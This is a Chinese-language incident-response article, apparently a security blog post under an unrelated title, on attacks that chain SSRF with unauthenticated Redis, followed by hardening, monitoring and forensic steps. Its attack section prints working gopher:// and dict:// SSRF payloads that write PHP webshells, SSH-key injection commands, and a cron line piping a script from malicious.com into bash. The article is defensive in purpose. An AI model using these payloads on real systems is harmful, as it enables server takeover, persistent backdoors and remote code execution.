企业官网建设流程全解析

从应急响应视角拆解SSRF攻击链：Redis未授权访问的实战防御指南

凌晨3点15分，安全团队的告警系统突然响起刺耳的蜂鸣声。监控显示，某台Web服务器正在异常访问内网的Redis服务，而运维同事从未配置过此类连接。两小时后，我们在网站的upload目录下发现了陌生的PHP文件——这是一起典型的SSRF结合Redis未授权访问的攻击事件。本文将基于真实应急响应案例，还原攻击者如何通过SSRF漏洞"遥控"内网Redis服务，并最终写入Webshell的全过程。

1. 攻击链全景还原：从SSRF到Redis入侵

1.1 初始攻击入口：SSRF漏洞的发现与利用

攻击者通常通过以下方式发现SSRF漏洞：

• 对Web应用中的URL参数进行模糊测试
• 检查文件上传、PDF生成等功能的对外请求
• 利用DNS重绑定技术绕过IP限制

典型攻击日志特征：

2023-05-17T03:15:22.451Z "GET /export?url=http://192.168.1.100:6379/info HTTP/1.1" 200 342 2023-05-17T03:15:25.783Z "GET /export?url=dict://192.168.1.100:6379/info HTTP/1.1" 200 215

1.2 内网Redis的探测与认证绕过

当攻击者通过SSRF接触到内网Redis服务时，会立即进行服务指纹识别：

未授权访问验证命令：

redis-cli -h 192.168.1.100 -p 6379 INFO # 若返回服务器信息且无AUTH错误，则存在未授权访问

2. 攻击技术深度解析：协议利用与持久化技术

2.1 多协议攻击手法对比

攻击者会根据网络环境选择不同协议：

DICT协议利用特点：

• 单次只能执行一条命令
• 适合快速探测和简单操作
• 典型利用路径：

  dict://192.168.1.100:6379/CONFIG SET dir /var/www/html dict://192.168.1.100:6379/CONFIG SET dbfilename shell.php

GOPHER协议高级利用：

• 支持多命令连续执行
• 可完成复杂攻击链
• 示例攻击流程：

  gopher://192.168.1.100:6379/_AUTH%2520attacker_pass%250a FLUSHALL%250a SET shell "<?php system($_GET['cmd']);?>"%250a CONFIG SET dir /var/www/html%250a CONFIG SET dbfilename webshell.php%250a SAVE%250a

2.2 多种持久化技术剖析

攻击者常用的后门写入方式：

1. Webshell写入

   CONFIG SET dir /var/www/html CONFIG SET dbfilename backdoor.php SET payload "\n\n<?php eval($_POST['cmd']);?>\n\n" SAVE

2. SSH公钥注入

   (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") | redis-cli -h 192.168.1.100 -x set ssh_key redis-cli -h 192.168.1.100 CONFIG SET dir /root/.ssh redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys redis-cli -h 192.168.1.100 SAVE

3. 定时任务植入

   CONFIG SET dir /var/spool/cron CONFIG SET dbfilename root SET payload "\n\n*/5 * * * * curl http://malicious.com/shell.sh | bash\n\n" SAVE

3. 防御体系构建：从基础加固到深度防护

3.1 Redis服务基础加固清单

必须实施的加固措施：

1. 认证配置：

   # redis.conf requirepass ComplexPassw0rd!@# rename-command CONFIG ""

2. 网络隔离：

   bind 127.0.0.1 protected-mode yes

3. 权限控制：

   useradd -r -s /bin/false redisuser chown -R redisuser:redisuser /var/lib/redis

3.2 高级防御策略

网络层防护：

• 使用网络策略限制Redis端口访问
• 为Redis服务配置独立的VLAN
• 部署IDS规则检测异常Redis协议流量

应用层防护矩阵：

关键监控指标：

# Prometheus监控规则示例 - alert: RedisConfigChange expr: changes(redis_config_set_commands_total[5m]) > 0 for: 2m labels: severity: critical

4. 应急响应实战：攻击痕迹排查与溯源

4.1 入侵指标(IOC)收集

Redis日志关键检查点：

grep -E "CONFIG|SAVE|SLAVEOF|MODULE" /var/log/redis/redis.log

文件系统可疑痕迹：

• /var/www/html目录下异常.php文件
• /root/.ssh/authorized_keys最近修改
• /var/spool/cron/下异常任务

内存取证命令：

redis-cli --latency -h 192.168.1.100 # 检测异常连接 netstat -tulnp | grep redis # 检查异常连接

4.2 攻击时间线重建

基于日志还原攻击过程的示例方法：

1. 提取Web日志中的SSRF请求

   awk '/export?url=redis/{print $4,$7}' access.log | sort -k1

2. 交叉关联Redis日志时间戳

   grep -n "CONFIG SET" /var/log/redis/redis.log

3. 建立攻击事件序列表格：

5. 企业级防护架构设计

5.1 分层防御体系

云环境下的防护方案：

graph TD A[Web应用防火墙] --> B[SSRF过滤规则] B --> C[网络ACL] C --> D[Redis安全组] D --> E[实例级防护] E --> F[审计日志]

5.2 自动化安全运维

Ansible加固Playbook示例：

- name: Harden Redis Server hosts: redis_servers tasks: - name: Update redis.conf template: src: templates/redis.conf.j2 dest: /etc/redis/redis.conf notify: restart redis - name: Set filesystem permissions file: path: "/var/lib/redis" owner: redis group: redis mode: '0750'

关键加固参数模板：

# redis.conf.j2 protected-mode yes rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" requirepass {{ redis_password }}

在多次应急响应中我们发现，攻击者常利用业务高峰期的监控盲区进行入侵。某次事件中，攻击者特意选择在系统备份时段进行操作，利用备份进程的高负载掩盖其恶意活动。这提醒我们需要建立异常行为基线，而不仅是依赖固定规则检测。